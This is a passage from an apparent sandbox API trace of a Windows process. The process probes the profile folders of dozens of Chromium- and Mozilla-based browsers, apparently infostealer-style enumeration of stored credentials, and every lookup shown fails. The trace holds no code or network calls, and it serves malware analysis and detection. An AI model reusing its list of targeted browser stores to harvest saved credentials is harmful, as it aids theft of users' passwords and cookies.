(uMode=0x1) returned 0x0 [0208.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chromium\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.400] GetLastError () returned 0x3 [0208.400] SetErrorMode (uMode=0x0) returned 0x1 [0208.400] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data", lpFilePart=0x0) returned 0x2f [0208.400] GetLastError () returned 0x3 [0208.400] SetErrorMode (uMode=0x1) returned 0x0 [0208.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torch\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.400] GetLastError () returned 0x3 [0208.400] SetErrorMode (uMode=0x0) returned 0x1 [0208.401] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data", lpFilePart=0x0) returned 0x35 [0208.401] GetLastError () returned 0x3 [0208.401] SetErrorMode (uMode=0x1) returned 0x0 [0208.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\7star\\7star\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.401] GetLastError () returned 0x3 [0208.401] SetErrorMode (uMode=0x0) returned 0x1 [0208.401] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data", lpFilePart=0x0) returned 0x2f [0208.401] GetLastError () returned 0x3 [0208.401] SetErrorMode (uMode=0x1) returned 0x0 [0208.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\amigo\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.401] GetLastError () returned 0x3 [0208.401] SetErrorMode (uMode=0x0) returned 0x1 [0208.401] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data", lpFilePart=0x0) returned 0x45 [0208.401] GetLastError () returned 0x3 [0208.401] SetErrorMode (uMode=0x1) returned 0x0 [0208.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\bravesoftware\\brave-browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.401] GetLastError () returned 0x3 [0208.401] SetErrorMode (uMode=0x0) returned 0x1 [0208.402] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data", lpFilePart=0x0) returned 0x35 [0208.402] GetLastError () returned 0x3 [0208.402] SetErrorMode (uMode=0x1) returned 0x0 [0208.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\centbrowser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.402] GetLastError () returned 0x3 [0208.402] SetErrorMode (uMode=0x0) returned 0x1 [0208.402] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data", lpFilePart=0x0) returned 0x30 [0208.402] GetLastError () returned 0x3 [0208.402] SetErrorMode (uMode=0x1) returned 0x0 [0208.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chedot\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.402] GetLastError () returned 0x3 [0208.402] SetErrorMode (uMode=0x0) returned 0x1 [0208.402] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data", lpFilePart=0x0) returned 0x38 [0208.402] GetLastError () returned 0x3 [0208.402] SetErrorMode (uMode=0x1) returned 0x0 [0208.402] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\coccoc\\browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.402] GetLastError () returned 0x3 [0208.402] SetErrorMode (uMode=0x0) returned 0x1 [0208.403] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data", lpFilePart=0x0) returned 0x3a [0208.403] GetLastError () returned 0x3 [0208.403] SetErrorMode (uMode=0x1) returned 0x0 [0208.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\elements browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.403] GetLastError () returned 0x3 [0208.403] SetErrorMode (uMode=0x0) returned 0x1 [0208.403] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data", lpFilePart=0x0) returned 0x3e [0208.403] GetLastError () returned 0x3 [0208.403] SetErrorMode (uMode=0x1) returned 0x0 [0208.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\epic privacy browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.403] GetLastError () returned 0x3 [0208.403] SetErrorMode (uMode=0x0) returned 0x1 [0208.403] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data", lpFilePart=0x0) returned 0x30 [0208.403] GetLastError () returned 0x3 [0208.404] SetErrorMode (uMode=0x1) returned 0x0 [0208.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\kometa\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.404] GetLastError () returned 0x3 [0208.404] SetErrorMode (uMode=0x0) returned 0x1 [0208.404] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data", lpFilePart=0x0) returned 0x31 [0208.404] GetLastError () returned 0x3 [0208.404] SetErrorMode (uMode=0x1) returned 0x0 [0208.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\orbitum\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.404] GetLastError () returned 0x3 [0208.404] SetErrorMode (uMode=0x0) returned 0x1 [0208.404] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data", lpFilePart=0x0) returned 0x39 [0208.404] GetLastError () returned 0x3 [0208.404] SetErrorMode (uMode=0x1) returned 0x0 [0208.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\sputnik\\sputnik\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.404] GetLastError () returned 0x3 [0208.404] SetErrorMode (uMode=0x0) returned 0x1 [0208.405] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data", lpFilePart=0x0) returned 0x38 [0208.405] GetLastError () returned 0x3 [0208.405] SetErrorMode (uMode=0x1) returned 0x0 [0208.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\ucozmedia\\uran\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.405] GetLastError () returned 0x3 [0208.405] SetErrorMode (uMode=0x0) returned 0x1 [0208.405] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data", lpFilePart=0x0) returned 0x31 [0208.405] GetLastError () returned 0x3 [0208.405] SetErrorMode (uMode=0x1) returned 0x0 [0208.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\vivaldi\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.405] GetLastError () returned 0x3 [0208.405] SetErrorMode (uMode=0x0) returned 0x1 [0208.405] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CatalinaGroup\\Citrio\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\CatalinaGroup\\Citrio\\User Data", lpFilePart=0x0) returned 0x3e [0208.405] GetLastError () returned 0x3 [0208.405] SetErrorMode (uMode=0x1) returned 0x0 [0208.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CatalinaGroup\\Citrio\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\catalinagroup\\citrio\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.405] GetLastError () returned 0x3 [0208.405] SetErrorMode (uMode=0x0) returned 0x1 [0208.406] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\liebao\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\liebao\\User Data", lpFilePart=0x0) returned 0x30 [0208.406] GetLastError () returned 0x3 [0208.406] SetErrorMode (uMode=0x1) returned 0x0 [0208.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\liebao\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\liebao\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.406] GetLastError () returned 0x3 [0208.406] SetErrorMode (uMode=0x0) returned 0x1 [0208.406] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer", lpFilePart=0x0) returned 0x53 [0208.406] GetLastError () returned 0x3 [0208.406] SetErrorMode (uMode=0x1) returned 0x0 [0208.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\fenrir inc\\sleipnir5\\setting\\modules\\chromiumviewer"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.406] GetLastError () returned 0x3 [0208.406] SetErrorMode (uMode=0x0) returned 0x1 [0208.406] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data", lpFilePart=0x0) returned 0x32 [0208.406] GetLastError () returned 0x3 [0208.406] SetErrorMode (uMode=0x1) returned 0x0 [0208.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\qip surf\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.407] GetLastError () returned 0x3 [0208.407] SetErrorMode (uMode=0x0) returned 0x1 [0208.407] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Coowon\\Coowon\\User Data", nBufferLength=0x105, lpBuffer=0x3ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Coowon\\Coowon\\User Data", lpFilePart=0x0) returned 0x37 [0208.407] GetLastError () returned 0x3 [0208.407] SetErrorMode (uMode=0x1) returned 0x0 [0208.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Coowon\\Coowon\\User Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\coowon\\coowon\\user data"), fInfoLevelId=0x0, lpFileInformation=0x3ce9a0 | out: lpFileInformation=0x3ce9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.407] GetLastError () returned 0x3 [0208.407] SetErrorMode (uMode=0x0) returned 0x1 [0208.408] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", lpFilePart=0x0) returned 0x40 [0208.408] GetLastError () returned 0x3 [0208.408] SetErrorMode (uMode=0x1) returned 0x0 [0208.408] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.408] GetLastError () returned 0x3 [0208.414] SetErrorMode (uMode=0x0) returned 0x1 [0208.415] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", lpFilePart=0x0) returned 0x40 [0208.415] GetLastError () returned 0x3 [0208.415] SetErrorMode (uMode=0x1) returned 0x0 [0208.415] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.415] GetLastError () returned 0x3 [0208.416] SetErrorMode (uMode=0x0) returned 0x1 [0208.420] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Flock\\Browser\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce398, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Flock\\Browser\\profiles.ini", lpFilePart=0x0) returned 0x3c [0208.420] GetLastError () returned 0x3 [0208.420] SetErrorMode (uMode=0x1) returned 0x0 [0208.420] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Flock\\Browser\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\flock\\browser\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.421] GetLastError () returned 0x3 [0208.422] SetErrorMode (uMode=0x0) returned 0x1 [0208.449] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0208.449] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce52c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0208.449] GetLastError () returned 0x3f0 [0208.449] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\UCBrowser\\", nBufferLength=0x105, lpBuffer=0x3ce4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\UCBrowser\\", lpFilePart=0x0) returned 0x2a [0208.449] GetLastError () returned 0x3f0 [0208.449] SetErrorMode (uMode=0x1) returned 0x0 [0208.449] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\UCBrowser\\*", lpFindFileData=0x5ec490 | out: lpFindFileData=0x5ec490*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0208.449] GetLastError () returned 0x3 [0208.456] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini", lpFilePart=0x0) returned 0x4d [0208.456] GetLastError () returned 0x3 [0208.456] SetErrorMode (uMode=0x1) returned 0x0 [0208.456] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\netgate technologies\\blackhawk\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.457] GetLastError () returned 0x3 [0208.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini", lpFilePart=0x0) returned 0x4d [0208.457] GetLastError () returned 0x3 [0208.457] SetErrorMode (uMode=0x1) returned 0x0 [0208.458] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini" (normalized: 